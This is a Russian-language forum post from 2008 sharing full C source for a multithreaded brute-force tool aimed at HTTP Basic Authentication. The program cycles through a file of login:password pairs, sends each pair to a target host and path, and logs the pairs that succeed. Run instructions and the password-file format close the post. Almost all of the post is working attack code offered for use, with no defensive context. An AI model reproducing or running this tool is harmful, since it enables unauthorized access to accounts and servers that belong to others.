| nc.STRIEM |
24.02.2008 15:35 |
Тоже написал
Код:
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#pragma comment(lib,"ws2_32")
#define PACK "GET %s HTTP/1.0\r\nHost: %s\r\nAuthorization: Basic %s\r\n\r\n"
#define KR 128
////////////////////////////////////////////////////////////////////////
FILE *fr;
char pack[128];
int CurThr;
sockaddr_in ClientService;
int CLsize;
char host[128];
char path[128];
int THR;
int PL;
int so;
int p_good, p_bad, p_er;
int fl;
char fwr[128];
struct pp{
char p[128];
int st;
int tr;
};
pp *pass;
static const unsigned char base64digits[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
#define BAD 255
static const unsigned char base64val[] = {
BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD,
BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD,
BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD, 62, BAD,BAD,BAD, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,BAD,BAD, BAD,BAD,BAD,BAD,
BAD, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,BAD, BAD,BAD,BAD,BAD,
BAD, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51,BAD, BAD,BAD,BAD,BAD
};
#define DECODE64(c) ((c > 32 && c<127)? base64val[(int)c] : BAD)
char* en64 (const char *in, char *out, int inlen)
{
for (; inlen > 0; inlen -= 3, in+=3)
{
*out++ = base64digits[in[0] >> 2];
*out++ = base64digits[((in[0]&3)<<4) | ((inlen > 1)?(in[1]>>4):0)];
*out++ = (inlen > 1)? base64digits[((in[1] << 2) & 0x3c) | ((inlen > 2)? (in[2] >> 6) : 0)]: '=';
*out++ = (inlen > 2)? base64digits[in[2] & 0x3f] : '=';
}
*out = '\0';
return out;
}
DWORD WINAPI check(LPVOID i)
{
char header[256];
char b64t[200];
en64(pass[(int)i].p, b64t, strlen(pass[(int)i].p));
sprintf(header, pack, b64t);
SOCKET ksocket;
int len;
char buff[32];
FILE *fw;
ksocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(connect( ksocket, (SOCKADDR*) &ClientService, CLsize ) == SOCKET_ERROR)
{
pass[(int)i].tr = 0;
CurThr--;
p_er++;
return false;
}
len = send(ksocket, header, strlen(header), 0);
if(len == SOCKET_ERROR)
{
pass[(int)i].tr = 0;
CurThr--;
p_er++;
return false;
}
buff[recv(ksocket, buff, 32, 0)] = '\0';
if(strstr(buff, "200 OK") != NULL)
{
if(fl) Sleep(50);
fl=1;
fw=fopen(fwr, "ab");
fprintf(fw,"%s\n", pass[(int)i].p);
fclose(fw);
fl=0;
p_good++;
}
else p_bad++;
closesocket(ksocket);
pass[(int)i].st=0;
pass[(int)i].tr = 0;
CurThr--;
PL--;
return true;
}
DWORD WINAPI READ(LPVOID x)
{
int i;
for(i=0; i<KR; i++)
{
pass[i].st=0;
pass[i].tr=0;
}
i=0;
while(!feof(fr))
{
if(i >= KR) i=0;
if(pass[i].st == 0 && pass[i].tr == 0)
{
fgets(pass[i].p, 128, fr);
pass[i].p[strcspn(pass[i].p, "\r\n\t")] = 0;
pass[i].st=1;
PL++;
}
i++;
}
PL--;
fclose(fr);
return true;
}
DWORD WINAPI info(LPVOID x)
{
while(so)
{
system("cls");
printf("Target: %s%s\n", host, path);;
printf("Thread: %d/%d\n", CurThr, THR);
printf("Founr: %d\n", p_good);
printf("Bad: %d\n", p_bad);
printf("Error: %d\n", p_er);
Sleep(500);
}
return true;
}
int main(int argc, char *argv[])
{
if(argc < 6)
{
printf("USE: host path tread filePass fileResult\n");
return 0;
}
strcpy(host, argv[1]);
strcpy(path, argv[2]);
THR=atoi(argv[3]);
strcpy(fwr, argv[5]);
fr=fopen(argv[4], "rb");
if(!fr)
{
printf("File not found\n");
return 0;
}
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
{
printf("Error at WSAStartup()\n");
return 0;
}
struct hostent *Ip = gethostbyname(host);
if(Ip == NULL)
{
printf("Error at gethostbyname()\n");
return 0;
}
ClientService.sin_family = AF_INET;
ClientService.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));
ClientService.sin_port = htons(80);
CLsize=sizeof(ClientService);
DWORD thID;
pass = new pp[KR];
CurThr=0;
p_good=0;
p_bad=0;
p_er=0;
int i=0;
PL=1;
so=1;
fl=0;
sprintf(pack, PACK, path, host, "%s");
CreateThread(0, 0, READ, (LPVOID)0, 0, &thID);
CreateThread(0, 0, info, (LPVOID)0, 0, &thID);
Sleep(1000);
while(PL != 0 || CurThr != 0)
{
if(CurThr >= THR)
{
Sleep(100);
continue;
}
if(i >= KR) i=0;
if(pass[i].st == 1 && pass[i].tr == 0)
{
pass[i].tr = 1;
CurThr++;
CreateThread(0, 0, check, (LPVOID)i, 0, &thID);
}
i++;
}
fclose(fr);
Sleep(1000);
so=0;
system("pause");
return 1;
}
USE: host path tread filePass fileResult
например
brut.exe localhost /1.php 50 pass.txt result.txt
файл с паролямив форммате
Код:
логин:пароль
логин:пароль
логин:пароль
|